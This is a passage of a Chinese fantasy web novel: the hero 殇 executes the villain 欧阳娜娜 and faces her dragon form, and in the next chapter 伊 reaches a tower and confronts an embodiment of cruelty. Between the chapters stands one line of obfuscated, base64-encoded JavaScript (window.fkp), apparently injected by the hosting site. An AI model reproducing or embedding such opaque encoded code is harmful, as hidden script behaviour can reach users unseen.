她冷笑了几声,然后一个冲刺来到房间中央。一道环形火墙升起并包围了她,她在火墙内举起双手,在两掌之前生成灼龙阵法。一道威力巨大的龙之射线从阵法之中射出,透过火球,击穿了房间的大门。殇注意到,房间外面的景象是一片虚空,之前的宗门大院与飘散的雪花消失得无影无踪。她以圆周为轨迹对着房间内的一切进行无情地扫射,殇通过以她为中心快速快速绕圈来躲避这招。这时,地面上出现了许多小型灼龙阵法,殇一个不小心踏入了其中,一道火柱从中喷涌而出。殇快速反应过来去躲避,但还是被烧到胳膊。所幸墨子邵的铠甲防火性很强,他并未受到太大的伤害。殇一边绕圈,一边留意着地面上的烛龙真发。这些烛龙阵法在片刻的蓄能之后就向上喷涌火柱,喷涌过后瞬间消失,看着就像一座一座火山一样。殇在火柱之间穿梭,突然飞来一把燃着火的关刀,殇跳起躲避,立马就认出这是欧阳娜娜的关刀。这下难度瞬间升高了一倍,殇不仅要留意地面上的烛龙阵法,还要绕着圈躲避龙之射线,甚至还得时刻留意这把回旋的关刀。 一段时间后,龙之射线与烛龙阵法一起消失,火墙落下,那把关刀飞回了欧阳娜娜的手中。在刚刚那招过后,殇的身上多了许多伤口,大部分是被回旋关刀背后偷袭所制造出来的。她自信一笑,正准备去嘲讽殇两句。突然,一把方天画戟似利箭般飞来,转眼间直接刺入她的体内。殇一个疾步来到她的面前,狠狠地对方天画戟的柄来了一脚,直接让这把方天画戟整个穿过了她的身体。剧痛袭来,她的精神短时间内麻痹住了。殇抓住时机,一套组合拳打在她伤痕累累的身上,接着后撤几步对着她来了一招隼之冲刺,一顿连打过后,直接将她打到了宗主宝座之上。麻痹状态消失,她从宗主宝座上一跃而下,对着殇就是一顿乱砍。殇用高超的技艺见招拆招,抓住机会,一记重拳打在她身上,接着一记猛推掌法打在她的下巴上,然后是戳眼睛。被这一套组合技打中的她,感觉到了深深的羞辱与愤怒。她对着殇连续使用好几种致命招式,可都被殇一一躲开。又抓住机会,一掌拍在她的脸上,她踉跄了一下;接着一记扫堂腿踢出,直接踢得她后仰倒地;在她落地前,殇猛地起身,一记下劈腿狠狠地劈在她的身上。殇这一脚下去,她落地后直接砸碎了地面,震飞了一块块的碎木块。这一下的威力巨大,她疼得双手失去了知觉,本能地就放下了手中的关刀。打完这一下过后还没完,殇一把掐住她的脖子,一把把她扔到了宗主宝座之上。殇用力跺一脚,地上那把关刀立马被震飞起来,殇一把抓住这把关刀。殇下压身体,一个疾步冲刺来到宗主宝座前。看着殇握着关刀的身影,一向高傲暴戾的她竟会感觉有些害怕。 殇: “处决!” 殇一刀挥出,直接斩断了她的头,同时将宗主宝座砍碎了一半。顿时间鲜血飞溅,一个贼人的头随即落下。斩杀过后,周围的天花板突然变成了诡异的星空,接着四周的墙壁也变为了诡异的星空。烈火熄灭,周围的温度骤降,寒意与恐惧开始弥漫。 “嘎吱。” 殇转头看去,发现一只腐烂大半接近于完全白骨化的手打碎地板,从窟窿之中伸出,伸向天空。 “嘎吱,嘎吱......” 越来越多这样的腐烂之手出现,周围的氛围变得愈发诡异。一道莫名其妙的血色闪光过后,地板上出现了许多的尸体。他们有的是小丫鬟、有的是普通老百姓、有的是修行者.....他们的内脏与鲜血铺满了整个地面,许多金银珠宝静静地躺在其中。血雾开始弥漫,凄惨的声音回荡在空寂的房间之中。 “不要......不要杀我!求你了......求你了......” “我犯了什么错......为什么要杀我......我与你有仇吗?” “求你了,我家里还有老婆孩子.......别,别啊!” “你这贱人!你会被阎王爷打上几万大板的!你会永世不得转世投胎的!你会遭报应的......” “少奶奶,求求你了......我弟弟得了重病,他还需要我养活呢......别杀我,那一个盘子我赔你.......求求你......” “怎么?要肃清门户是吗?因为有点过节,你就对我们家这样的报复!小人!你就是卑鄙小人!我做鬼也不会放过你......” “有什么本事冲我来!为什么要杀了我的妻子?!她与这件事没有关系!别杀她!她还怀着孕呢......畜生!我就是他妈的当鬼也不会放过你!” 又一道莫名其妙的血色闪光之后,房间中央出现了一个圆形的血池,血池之下是一具又一具的白骨。在血池的正中央,有这一朵盛开的白色莲花。虽在血池中扎根,但它的花瓣却是血一样白,似乎它生来就是洁白的。这着实是讽刺,天大的讽刺!出水芙蓉定会在花瓣上有水滴留下,可殇面前的那朵白莲的花瓣上却连一丝血色都没有。 又是一道莫名其妙的血光闪过。这次,在房间的两侧多了好几堆白色的骸骨。仔细看,每具骸骨上都贴有一块小标签,标签上写着各种不合理的理由。本是小事,罪不至死,可有人一怒之下,将他们送往了黄泉。殇看明白了这些暗喻,现在的他,心里火冒三丈,怒火熊熊燃烧。他气得全身发抖,咬牙切齿,面色都变得狰狞了起来。他紧紧地握着手中的关刀,猛地回头去看那满是鲜血的宗主宝座,此刻恨不得一刀就劈了这宝座。但他此刻没去那么做,他的满腔怒火,是准备全部洒在那个贼人身上的。他手中的关刀见到殇这像是要吃了人的眼神,吓得瞬间变得乖巧许多,也不管是谁造了它。这把关刀只想着一心活命,不管自己的主人是生是死。 这时,在宗主宝座上的欧阳娜娜尸体突然化作一摊血水,慢慢地悬浮起来,在空中凝聚成了一颗晶莹剔透的红宝石。殇看向这个红宝石,握紧了手中的关刀,准备在欧阳娜娜现身的一瞬间就杀死她。突然,欧阳娜娜十分扭曲的声音从红宝石中传出。 “变强!我要变强!没人能够阻止我!任何在我路上的阻碍,我都要清除!不成为人上人的人生是毫无意义的!” 即便是这样,她的语气依旧那么高傲。殇按奈不住心中的怒火,指着那颗红宝石骂道: “我操你妈!你这个臭傻逼,连畜生都不如的傻逼!” “你不明白,你就是愚昧的凡人。你的命只能用金钱来买卖,跟那些凡人一样!而像那些的人上人,他们的命才是无价的!我要成为他们!我要成为强者!我要变强!” 她很狂妄地对殇这样说道,她所说的每个字都在透露着她内心的狂妄与自私。殇指着这块红宝石,怒骂道: “操你妈!你这愚昧无知的臭婊子!赶紧给老子他妈的现出原形!” “哈哈哈哈!急了吗?不愧是凡人,都是没文化的粗人。不用急着去死哦~~~很快你就能见识到我真正的实力的,到时候,你会为了你的无知而付出生命的代价的!哈哈哈哈!” “别他妈墨迹!” “龙族,永远要高人一等!我要成为真正的龙,而不是向龙俯首称臣的龙族!哈哈哈哈!我终有一天,会成为万人之上的帝王!一统天下!到时候,像你这样逆反我意愿的人将会堆积成一座尸山!想杀谁,到时候都是我说了算!没有人能够再成为我的阻碍!” 殇不说话了,只是拿着关刀等待她现身。 “不就是背叛吗?不就是背后捅刀子吗?只要成就我的强大与事业,我的一切罪孽都会被我随手给洗刷干净!一将功成万骨枯,我干的这些都是没有错误的!功成之后,谁还会在乎我所犯下的错!” 一道耀眼的光芒过后,殇回到了最开始的大桥入口处。欧阳娜娜穿着皇袍站在大桥的桥口,对着殇邪魅一笑。殇怒了,冲上前去就是一刀。她一个后撤步躲开,然后张开双臂后仰,跌入了深坑之中。殇十分警惕地看向深坑,发现深坑底部慢慢涌出了血水,渐渐地形成血池。血池上涌,淹没了坑底,淹没了白莲花的部分根茎。血池池面之下出现了一个巨大的身影,那个身影在血池之中潜游,像是一条水蛇一样。 这时,殇注意到了一辆装甲悬浮车停在废墟的边缘,紧靠深坑附近的大片空地。在装甲运输车旁边,有着三个小人。殇依稀能辨认出,那两人分别是杨三刀和苍白以及苍白的秘书小甜。殇正要说些什么,只听到一声龙鸣回响在天空中,他猛地抬头,发现那道光柱逐渐变为了红色。 顿时间,血光冲天,将空中那紫色的涡旋染得血红,就连其间的雷电也被染成了血红色。地面开始剧烈颤动,扭曲生物的尖啸声回荡在空旷的空地上。血光之下,废墟之中白莲茎干似发疯了一般疯狂生长,逐渐在深坑周围的废墟之中形成了一堵厚厚的围墙。几滴散发着凋零之息的怪异物质从血池中飘出,它们悬浮在白莲附近的小片空间之中。似乎是有人对着它们划了几笔,它们竟突然展露出似墨痕一般的状态。不一会,它们变作一只只紧闭的眼,然后慢慢睁开。顿时间,一只只血色之眼出现在白莲旁边,用它们好奇且充满敌意的眼睛去凝视着大地。 这时,一只全身都是暗红鳞片的巨龙从血池之中飞出。殇注意到这头危险的巨龙,于是立马就往后撤退,边撤退边观察它。它在空中翱翔了一圈,突然调转方向,向着殇飞来。殇见了,不由得开始紧张。在巨龙靠近的那一刻,殇一个侧向冲刺加翻滚躲开了它的致命攻击。巨龙落地,猛地拍击地面,对着天空发出了一声战吼。殇拿着关刀,一脸警惕地看着它。殇通过龙角的样子,一眼就辨别出它就是欧阳娜娜。 这头巨龙造型独特,长相令人觉得恶心和害怕。但根据它的身体轮廓,能辨认的出它是类似于烛龙的一种龙。它的身体上分布着很多外突的眼球和一张张长满利齿的嘴巴,看着令人作呕;同时还有不均匀分布着的被鳞片包裹的核心装置,因此鳞片并没有完全覆盖它的身体。它的爪子又长又大还很锋利,上面满是血迹,看样子它可没少杀生。它有三对眼睛,每对眼睛看人时的眼神都是凶狠且充满敌意的。它的面相十分凶恶,满嘴的利齿与如蛇一样长的舌头,让它看起来就像一只野兽一样,而非是那些遨游于天际的神圣之龙。它头顶龙角巨大无比,是正常中国龙的六倍大!其造型就像是胡乱生长的荆棘一样,无序而又能致命。几条被鲜血染成深红色的绷带紧紧地缠绕在龙角之上,还有许多金指环套在了龙角的分叉部位上,看着怪诞极了,一种对未知的恐惧感油然而生。它的尾巴是一个怪异的肉块,肉块上有着一只大眼睛,正在动来动去;还有许多锐利的骨刺,其上寒光四溢。 面对这么一只令人恐惧与恶心的巨龙,殇竟没觉得一丝恐惧与恶心,就连基本的面部表情的变化也没有。殇舞转手中的关刀,像一位高尚的剑客一样迎面走向了这头巨龙。他身上的突变体形态逐渐消失,他逐渐变回了自己来时的样子。血光照耀之下,他的身影变得雄伟高大起来,隐约之间,能看到一位英勇的战士的影子。巨龙见了他这番模样,猛地拍地一下,击碎地面的同时掀起一阵巨大的气浪。它下压身体,愤怒地露出獠牙,它前爪与尾巴燃起了赤色烈火,看起来已是蓄势待发。 殇边走,边对那头巨龙深情地说道: “你知道为什么EcL-185没有专属的Emw吗?” 橙色的闪电出现在殇的身上,正逐渐开始跃动起来。 “不是我不配,而是那是一把锁。” 殇左手提着那把关刀,轻轻地向一旁伸出了右手,并张开手掌。 “一把让我暂且封存实力的锁。” 橙色的闪电在殇的右手腕处开始跃动,跃动的频率与幅度正逐渐加大,跃动的位置慢慢转移到了殇右手上。 “钥匙一直封存在我的记忆深处,从未被我触及。” 殇握紧了右拳,无数的橙色雷电汇聚在殇的右拳上。 “可自从我见到了你这个人渣,我对你是‘一见钟情’了。你的所作所为,真正地触怒到了我的内心。” 殇的双眼变成了橙色,强大能量在他的手中汇聚。 “我可真是太‘爱’你了!不仅仅因为你是个害人无数的扭曲生物,更因为令人憎恶的人渣!” 殇脚下的地面上,无数碎石慢慢向上飘起,强大的能量压得这片土地出现了无数的裂痕。 “我得感谢你帮我拿来了那把钥匙。马婷婷、紫渊、楚、红色收尾人、墨子邵......他们都是各有所迫,才做得出那种决定。他们都失败了,因为他们的恶不是像你这般纯粹......” 天空中雷霆霹雳,雷声震耳欲聋。在雷光之下,是一个战士的背影。 “你可曾听闻过泰坦的传说?那些巨大的生物,曾经存在的霸主,制霸陆地与海洋。但很可惜,他们随着时光都一一消逝了。” 殇突然停了下来。 “曾有位强大的战神,在他的部落即将覆灭之际,用一把在普通不过的钢制大剑,斩杀了曾屠戮他部落人民的一只比他高十倍的巨兽。之后,他被封为英雄,被称为‘泰坦屠戮者’。而他所使用的那把剑,也随同他的名号,也被称为了‘泰坦屠戮者’。” 殇向一旁伸出了右手,并张开手掌。 “那位英雄,是我的太爷爷。那把大剑,则是我们一家的传家宝。在那战火纷飞的年纪,那把剑就一直跟着我走天下。” 许多橙色的发光线条在殇的手中汇聚,一把造型独特的长刃大剑的轮廓出现在他的手中。 “被泰坦的血液所倾注的钢铁,蕴含着泰坦的力量与魂魄。其可以做到削铁如泥,百战不折,自然的任何腐蚀都无法伤其一丝一毫。” 一把足足有2.3米之长、足足有0.8米之宽的银白色巨型大剑出现在殇的手中。殇一把握住它,并将核心能量汇聚在了上面。 “闲话不必多说。你,该为了你的那些罪孽,而付出代价了!” 殇用力一挥,挥动时的气浪震碎了地面,掀起了一阵狂风。狂风呼啸过后,无数橙色的雷电汇聚在了剑刃之上,开始狂躁地跃动起来。一阵风吹起了他的大衣,他将这把剑扛在肩上,以最普通但又是最霸气地扛刀姿势站在那头巨龙的前方。刹那间,昔日王者的风范再次出现,似乎,还能看到那个叱咤风云的王的身影。 接下来,将是一场终极较量...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第二十九话:深入扭曲 半个小时前...... 一辆装甲悬浮车缓缓降落,一行人从车中走出。看着面前高塔上的白莲,众人不禁捏了一把汗。在巨大的白莲与高塔面前,众人显得格外渺小。白莲所释放的能量正逐渐影响这个国家,许多不必要的暴乱在这能量的促使下逐渐出现。紫色的涡旋上不时有雷霆霹雳,阵阵雷声似钟声一般,让那朵白莲充满了神圣感,也像是那白莲对众人的警告。阴冷的狂风似一只凶猛的鹰一般掠过大地,用身躯掀起无数尘屑与碎石,用尖啸让生灵为之胆寒,恐惧油然而生。檀紫色的薄雾弥漫在城市之中,无数双血红的双眼在迷雾中睁开,恐惧似一双双黑手,从迷雾中伸出,将害怕之人拖入无尽的梦魇。檀紫色光芒照亮了这座城市,让人一时分不清檀紫色的是雾还是光。 这时,苍白的秘书小甜小跑着从车里拿来了一个笔记本电脑。小甜一脸紧张地告诉苍白: “指挥官先生,看看这个。” 苍白扭头一看,看到电脑屏幕上的画面后,他不由得心里一紧。屏幕上东玲国政府发来的扭曲局势影响图。根据这幅图,苍白可以看到这次的扭曲暴动比以往要更加强烈,现已经有村庄和部分地区沦陷了;而且涉及的城市和地区很广,影响范围的边缘直逼东玲国最东部的商业区。苍白眉头一皱,觉得局势不容乐观,留给他们的时间正在飞速流逝。苍白转头看了眼那朵向上空发射扭曲能量的白莲,毫无疑问,那朵白莲很可能就是导致这一切的根源。苍白神情坚定地说: “我们得抓紧时间了!” 就在这时,苍白注意到伊正在呆呆地看着那朵白莲,似乎是这朵白莲所吸引住了。伊的身边出现了似繁星一般的耀眼光点,这些光点绕着她慢慢地旋转,像无数小精灵一样。苍白见到这番景象,心底里很是惊讶。如他的预料那般,伊真的可以去应对扭曲。杨三刀见了,不禁好奇地问: “诶?伊姑娘这是......” 苍白伸手示意,让杨三刀别说话。小甜本来也是要问,但见了苍白如此,也便不去询问。这是,伊握紧了拳头,神情愈发变得坚定。她转过头来,对苍白他们说: “我要进入那座高塔!” 听到伊这么要求,杨三刀和小甜的表情十分惊讶,一脸的不可思议。而苍白则是很淡定,他露出一抹微笑,对身旁的杨三刀和小甜说: “按伊小姐说的做,伙计们。” 杨三刀一听,疑惑极了,他问苍白: “苍白先生,你是认真的吗?这里压根就没有路啊!” 苍白笑了笑,用手指着不远处由白莲茎干组成的一座直通高塔的大桥,笑着说道: “那便是路。” 杨三刀转头看去,果真看到了一条直通高塔的大桥。见到这座桥,杨三刀的脸上浮现出一抹笑容,他看到了希望。这时,他们周围的废墟之中传出了扭曲生物的尖啸声。听到这声音,苍白他们意识到了危险,有一批敌人即将出现。苍白对身旁的小甜说: “小甜,你去护送伊小姐进入高塔,我和三刀兄在这里掩护。” 小甜点了点头,严肃之中带有一丝担心地对苍白说: “知道了。指挥官先生,注意安全。” 一阵异响过后,几只扭曲生物从废墟之中冲了出来。苍白和杨三刀见了,立马就转身去迎接。小甜多看了他们一眼,然后就去护送伊前往高塔。 小甜: “伊小姐,我们赶紧走吧。” 伊: “(点头)嗯。” 苍白向一旁伸出手,苍白色的光环出现在他的手中。五道激光从天而降,竖直打在了苍白的身后。激光消去,五把兵器出现:太刀、大剑、关刀、刺剑、长柄斧,五把风格各异的武器。定睛一看,白色的辉光在其上闪烁,似由星辰与光芒所铸造。苍白拔出腰间的军刀,挥刀直指废墟。多个白色光环出现在废墟之上,突然收缩为一点,白色雷霆随之落下。 杨三刀拔出背上背着的黑刃,上面熄灭多时的麒麟图腾随即亮起,紫色的猛火在刀刃上突然燃起。杨三刀的肩膀上燃起了紫色烈火,其中怒魂汹涌,隐约能瞥见黄泉。靛青之息汇聚于他的全身,形成了一件无形的衣裳。 两人的眼神紧盯眼前的废墟,时刻等待扭曲生物的出现。一阵小风吹过,苍白立马做出反应,太刀、大剑、刺剑如利箭般射向天空。只是片刻,在空中准备偷袭二人的摄魂怪(飞行类的中体型扭曲生物)就这三把兵器砍得当场爆炸开来。以此为号,更多的扭曲生物在废墟中现身,其中有会飞的、有会爬的、还有会跑的。一大量的扭曲生物一下子向着他们涌来,从陆地和空中对着他们发动了猛烈的攻势。苍白和杨三刀做好战斗准备,从正面迎接它们的攻势。五把兵器在空中与陆地间穿梭,斩杀着所经之处的一切魍魉。苍白用军刀与扭曲生物搏斗,锋利的军刀三下五除二就能斩杀一只,但这效率远远不够。反观杨三刀这边,他仅凭借自己练得最熟练的三刀斩,疯狂斩杀着那些扭曲生物。第一刀劈出,斩断皮肉,劈碎地面,气浪卷起无数碎石,排排地火刀落从地生,如大地浪潮一般前进,将一片魍魉烧做焦炭。第二刀砍出,斩断筋骨,扫过半身,气浪激起一阵飓风,挥刀产生巨大剑气,以浩荡之势使敌犹如螳臂挡车,顷刻间,斩碎一片魍魉。第三刀劈下,破身丧魂灭神,劈碎十步之地,威力之大地颤三分,气浪似火山喷发般激起十丈烈焰,无数裂石化作利箭四处飞散,顷刻间,几十魍魉灰飞烟灭。 苍白观后,不禁佩服杨三刀的厉害。他也觉得不能示弱,于是激活G协议,召唤出了四把幻影军械。幻影军械切换为激光炮模式,随即就是几道白色激光打出,瞬间贯穿了一大片扭曲生物。幻影军械化作悬浮炮,在苍白周围形成了激光火力网,既对空又对地。此时,苍白用手中的军刀指着天,他的脸上浮现出了一抹阴森的笑容。他对着天空高呼道: “军备竞赛!激活!” 苍白的军刀之上出现了白色的闪电,三个光环悬浮在苍白的头上,开始慢慢收缩。几道闪电在苍白身边劈下,一个巨大的白色能量环出现在苍白的脚底下。那五把兵器悬浮在苍白的身边,锋芒直直地对着天空。苍白对着天空深情地说道: “王殇之翼,所向披靡!” 一道苍白色的闪电劈在他的军刀上,持续对着苍白的军刀放电。一道闪光过后,那苍白色的雷电消失,那五把兵器与苍白手中的军刀上泛起雷霆。苍白猛地一挥,他手中的军刀立马变了样子,变得更加帅气了。圣天使的部分装甲作装饰,水仙花的刻纹在刃上雕琢出来,三层白色的法环套在了军刀的护手上,看起来既有格调又不失武器的本色。握着这样的一把军刀,苍白的战斗力瞬间翻了一倍。苍白正面迎敌,在靠近敌怪时突然消失。片刻之后,一道惊雷劈下,苍白与九十九把苍白幻影剑一同在空中现身。九十九把幻影剑在空中形成一个巨环,看上去气势十足。苍白一记落地猛击打出,直接砸死了四五只扭曲生物,接着九十九把幻影剑对准了不同的目标,然后像子弹一般贯穿了它们所瞄准的目标。顿时间血雾弥漫,尸横遍野;苍白伫立在尸骸组成的小山之前,优雅地擦了擦脸上被溅到的血。 小甜护送伊来到了大桥前,在登上大桥之时,几只扭曲生物从入桥口周围的地面中钻了出来。小甜拔出腰间的手枪,抢在它们完全出土前先击毙了几只,然后再用螳螂刀去近距离斩杀剩下的那几只。伊见此,立马变出三把光之剑,通过意念操纵使其飞出,三剑过后,伊帮小甜收拾掉了几只扭曲生物。小甜看着伊点了点头,伊也对着她点了点头。小甜使了个眼色,伊立马明白,就走上大桥,向高塔奔去。更多的扭曲生物出现,小甜死死地守住入桥口,不让扭曲生物登上大桥一步。 小甜: “伊,你要加油啊。全城的人民,就靠你来拯救了。” 伊在大桥上跌跌撞撞地前进,小甜在入桥口与扭曲生物浴血奋战。这时,几只扭曲生物顺着白莲的茎干慢慢地爬上了大桥。伊见了,立马召唤出光之剑进行攻击。期初这很有效,但渐渐地,向上攀爬的扭曲生物的数量愈发多了起来,伊的应对显得无力了起来。就在这危难之际,一道迅速的红色幻影突然出现,嗖的一下,直接将靠近伊的扭曲生物斩成了碎块。这个幻影沿着一条曲折的路线贯穿了所有能对伊造成威胁的扭曲生物,哗啦啦一片血肉碎块似雨水般滴落深坑之下。 “喂,伊。还搁这愣着干啥?赶紧走吧。” 一个沉稳的声音从伊的身后传来。伊转头看去,一个带着墨镜红发高个子女子正一脸平淡地看着她。伊正要说些什么,之前的红色幻影以回旋的姿态掠过伊的头顶,伊被吓了一跳。那个高个子女子伸出手,一把接住那个红色幻影。在那幻影静止之后,伊才看清那是一把造型独特的长柄大刀。 大刀长约1.8米,整体略弯,上面有些许装饰,稍显简朴。它的刀锋是猩红色且上有精致波峰状纹路,其上血光闪烁;刀身主体为黑色,其上镶嵌着几小块黄金,还有几根灰色的线条与几个金色的齿轮做装饰;刀的护手由黄金制成,其上有几根金链与刀身的黄金相连,似乎是有某种特殊的寓意。不仅如此,护手上有着很特殊的花纹,疑似疑似蓝色妖姬与绣球花。若仔细观察,还能看到刀身上的两个刻字:“赤潮”。 见到她,伊愣了一下,隐隐地觉得这人自己见过。伊问她: “你是查尔拉吗?” 她摇摇头,回答道: “不。我的名字叫wILL,是有人派来保护你的。” 她对着身旁挥了下刀,表情变得严肃起来。她猛地一个转身,一刀挥出,让偷袭她的扭曲生物当场毙命。不仅如此,她将刀锋对准了小甜周围众多的扭曲生物,接着一个红色的光球出现在刀尖上,没一会光球碎裂。轰的一下,八个如子弹般迅速的光矢从光球中心飞出,在眨眼间就贯穿了那些扭曲生物的躯体。至此还没完,贯穿过它们的躯体,这些光矢一个弧线转弯,连续对着扭曲生物进行多次猛烈撞击。它们似一把锐利的链锯一样,在齐心协力之下将那些扭曲生物“锯”成了无数碎块。随后,它们飞向了远方,之后发生了爆炸。看过这些,伊惊讶之情溢于言表,不敢相信一把大刀竟能具备这样的攻击能力。在远处战斗的小甜跟她的反应一样,都不敢相信眼前的事实。看着她帅气的背影,伊心里很是佩服。那个女子转过身来,一脸平淡地看着伊,似乎刚刚的攻击对于她来说普普通通。她对伊说: “别墨迹了,赶紧走吧。你的朋友们还在奋战呢。” 伊点了点头,然后在她的护送下慢慢靠近了高塔。一路上,她给伊展示了她高超的武艺。例如,有一只体型不大的人形扭曲生物突然出现在伊的面前,她就抓着伊的肩膀一个移形换位加对面重击先打退对方,再一个散打接扫堂腿击倒对方,最后甩出左手的抓钩勾住对方的脸,用力一扫,直接将对方扔下深坑。遇到体型大的,直接甩抓钩配合挥大刀,先拽归来,然后近距离爆砍,几刀之后就将其处决。遇到数量多的,二话不受扔出手中的大刀,让大刀进入到了灵状态,然后大刀开始自主攻击那些扭曲生物,不一会就将其全部斩杀。伊见了这些,拍手夸赞她: “大姐姐!你好厉害啊!” 她冷笑了一下,然后就变得严肃起来。她告诉伊: “赶紧走!不要耽误时间。” 伊点了点头,说: “明白。” 一段时间后,伊和wILL来到高塔旁边。现在一个难题摆在了伊的面前,那就是进入高塔。伊摸了摸高塔的墙壁,发现并没有入口能让她进去。伊见了,后退三步,转身去看wILL。wILL摸着下巴,抬头看着高塔顶上的白莲,似乎在思考着什么。伊双手相握,十分不安地对wILL说: “怎么办啊,大姐姐,这里没有路进入高塔。” wILL无奈地摇头。伊见了,急得直跺脚。突然,wILL想到了什么。她走到高塔旁,用拳头狠狠地捶了一拳,听到声音,她颤了一下,明白了什么。她后退几步,拍了拍伊的肩膀,对伊说: “往后退个七步。” 伊点点头,照做了。伊退完起步,好奇地问: “姐姐,你想到办法了?” wILL举手示意,伊好像明白了,就点了点头。wILL双手握刀,下压身体,将核心能量汇聚在了刀锋之上。wILL对准高塔的墙壁,一个健步前冲来到高塔旁,接着猛地一刀挥出。巨大的血色剑影划过她的身前,一道巨大了切痕出现在高塔墙壁之上。这一刀激起一阵狂风,卷起了无数碎石与尘土,顿时间尘土飞扬。伊未预料到这些,被风吹得向后踉跄了一下。 伊心里: “哇!她好强......” 砍完这一刀,wILL有些疑惑地歪了歪头,她摸着下巴想了一下,觉得是力道不够大。然后她调整姿势,一个下劈打出。这一击,直击墙壁的薄弱处。砍完这一刀,高塔的墙壁上出现了一道细小的裂缝。看到这裂缝,她看到了希望。接下来,她对着那个裂缝连续砍了好几刀。她的攻击让这裂缝越来越大,最后是硬生生砍出了一个能让人经过的大窟窿。做完这些,她摸了摸头上的汗,然后看向了身后的伊。伊此刻满脸惊讶、目瞪口呆,wILL的身影在伊面前此刻变得飒爽了许多。除了殇以外,wILL是她见到第二个能对建筑物造成如此大破坏的人。 wILL: “(严肃)还愣着干嘛,进去办事吧。大伙可还需要你呢。” 伊回过神来,有些意犹未尽地点了点头,然后就在她的注视下走入了那个大窟窿之中。这个窟窿内有明亮的光,内部能见到有规律的楼梯与平台。走进去,伊有些害怕。现在的她,正处于扭曲现象的最中心位置上。 伊看了看四周,发现wILL并没有跟进来。她转头一看,发现wILL在这个窟窿外与试图进来的扭曲生物进行战斗,为了守护她的安全。她的英姿飒爽与无言的付出在伊的心里留下了很深的印象,这让伊充满了决心。伊转头向着高塔的顶端走去,每走一步,她心中的信念就强大一分。为了这座城市和这里的人民,她不能在此时害怕,更不能退缩!想到倪汝美、想到奶茶店里大家、想到在奋战的大家,她充满了勇气与决心。 一鼓作气,她直接来到了高塔的顶端,那朵白莲与高塔相接的位置。一颗巨大的紫宝石顶着那朵巨大的白莲花,这颗宝石正在闪烁,其上泛起无数耀眼的紫色线条。巨量的扭曲能量正在从这颗宝石之中涌出,似甘露与养分一般被白莲所吸收。这是扭曲现象的根源,扭曲生物所拥有的一切能量都源自于它。 看着这颗宝石,伊下定了决心。伊深吸了一口气,慢慢地走到了这颗宝石前面。没有提示,伊的直觉已经告诉她她该怎么做。伊将双手放在这块宝石,用心去感受这宝石内部的力量。无数紫色线条慢慢地爬上的伊的手臂,伊的眼睛渐渐变成了金色,她的身体开始微微颤抖。 “共鸣......共鸣......” 伊体内的光之种子将一种神奇的力量悄悄释放到了伊的手上,由伊的五指将其慢慢转入了那颗宝石之中。这块宝石之上的部分线条化作了闪电,开始在这块宝石上涌动起来。突然,一道强大的金色脉冲波从这个宝石的中心向外释放,其迅速之有过雷电,其广阔之有过草原。顷刻之间,整个东玲国的生灵都感觉到了这脉冲波的存在。脉冲波经过它们时,像是轻轻拂过了它们,没有带来一丝疼痛与异样,似风儿一般来又似风儿一般去。 “暴戾......无法赦免的罪孽......” 这颗宝石上面出现了裂缝,整座高塔为之一颤。裂缝随时间一点一点扩大,天空中的紫色涡旋电闪雷鸣。扭曲的力量正在渐渐被伊给转换成另一股力量,那股力量是未知的但美好的,光之种子是其中的催化剂。这时,黑森林的大门突然出现在伊的身后,那只熟悉的小鸟从门中飞出。他为伊拿来了一只天平,同时还带来了菌主的力量。小鸟落在伊的头顶,用他小巧玲珑的喙叼起天平,似乎是在进行正义的审判。 “消除罪孽......死亡最佳.......” 天平倾倒,罪孽已定。这颗宝石突然变得裂痕遍布,上面涌动着的闪电变得多了。周围的景象发生了巨大变化,无数颗黑色树突然从地里窜了出来,天色突然变得红了起来。十四颗明星落入凡间,变为一把天平。这把天平是至高无上的,任何有罪的存在它面前都是渺小的。周围的景象变成了黄昏时分的黑暗森林,其中一只发着星光的天平正在丈量每份罪孽的分量。宝石消失,伊与小鸟来到了一处空旷的平地上。 “正义能斩断罪孽......但斩不断心毒与罪孽种子......” 由无数棺材堆成的小山出现在前方,一个全身上下遍布血痕的女子坐在小山的山顶上;她拿着屠刀、穿着礼服、看着天上的繁星,念叨着: “还不够......为什么我在牺牲了这么多人之后,还是见不到曙光呢?他们的死难倒没有意义吗?” 见到伊,她突然露出病态的笑,这吓了伊一大跳。她从这座小山上一跃而下,拎着屠刀就向着伊这里走来。 安吉拉之人格-暴戾: “诶嘿嘿,正好我心情不算太好。那就请你牺牲一下,为我的快乐奉献出你的生命吧......” 伊手无寸铁,只得后退。她想召唤光之剑出来,可是她突然召唤不出光之剑来,这可给她急坏了。就在这个女疯子慢慢靠近她的时候,小鸟勇敢地叼着天平就向她冲了过去。伊见了,本能地伸出手要去拦小鸟,可奈何小鸟飞得太快,她没等手伸直,小鸟就飞远了。 “小鸟,别去!危险!” 伊很着急地对小鸟喊道。小鸟没有停下,而是直冲冲地来到她面前,用叼着的天平去砸她。她被砸,急了,一刀就给小鸟劈死了。 “哪里来的臭鸟,去死吧!” 她边笑边说道。小鸟被劈死后化作了一颗飞星,飞入了那只发着星光天平之中。十五颗星汇聚在一起,天平的力量完全被激活。天平猛然倾倒,宣告了罪孽。一道蓝色的波从天平中心释放,很快贯穿了森林的每个角落。这道波把她给震住了,让她待在原地抱着头下跪。 “权力,我要权力!你不能现在就处死我!放过我,等我功成名就,我保证会让你赚得盆满钵满。” 审判者低沉的嗓音回荡在森林之中,告诉她: “正义是物质与权力无法换来的......你的罪孽,你该当会为其受罚。这是这个世界的规矩,一切生灵都遵循的规矩。” 她捂着头,仍执迷不悟。她大声喊道: “我何罪之有?我也不过是像他们一样为了梦想而努力,我也想要成功啊!追寻梦想,有错吗?!” “有。你为了你的梦想而去牺牲其他生灵,不择手段且心狠手辣,犯下的是滔天罪孽!你蔑视其他生灵生命与其劳动果实的态度,让你的精神已经烂透了,这是你犯下的最大的罪孽!” “呵呵呵,你懂什么。现实不就是这样吗?血淋淋的竞争,为了前进而不择手段。都有梦,都要追!可能实现梦想的,不就那么几个人吗?!为了不甘落后,不都这么做吗?” 天平再次倾倒,一道蓝色的波再次释放。她捂着头完完全全地跪下了,其姿势与在奴隶主前下跪的奴隶一样。 